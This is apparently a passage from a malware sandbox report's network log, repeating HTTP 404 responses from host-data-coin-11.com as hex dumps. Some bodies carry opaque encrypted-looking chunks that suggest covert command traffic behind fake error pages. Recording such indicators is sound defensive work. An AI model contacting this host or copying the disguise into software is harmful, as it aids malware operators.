72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:11 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:11 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 64 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3a 4a a6 e8 dd e6 f8 5f f5 4a 88 2d a0 57 53 98 00 e5 a7 2c f8 2f 0d 0a 30 0d 0a 0d 0a Data Ascii: 2dI:82OI:J_J-WS,/0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:12 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 47 ec aa 8c 70 bc 57 dd 43 de ff 21 81 22 e6 c3 95 50 28 e1 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9GpWC!"P(c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 37 0d 0a 02 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e d6 1e 52 25 40 a3 f5 c2 ea fb 5f f5 4d 8b 2d e4 04 08 c7 5c a5 ba 7a ae 2e 54 0a e3 f0 d8 4b fc 05 d4 43 0d 0a 30 0d 0a 0d 0a Data Ascii: 37I:82OR%@_M-\z.TKC0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d4 89 4f 04 7e 02 fc a9 8d b6 e4 05 ab 0c 91 6b b9 45 4b 95 09 fd bc 67 e5 32 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 2eI:82OO~kEKg2P0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Fri, 14 Jan 2022 19:27:53 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:17 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:17 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f6 e8 24 e5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OR&:UPJ$dP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:19 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:19 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:20 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 62 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3c 5c a2 f7 d8 fc fb 46 f5 46 86 32 ef 06 10 c2 4b e1 e1 39 0d 0a 30 0d 0a 0d 0a Data Ascii: 2bI:82OI<\FF2K90
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:23 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:23 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 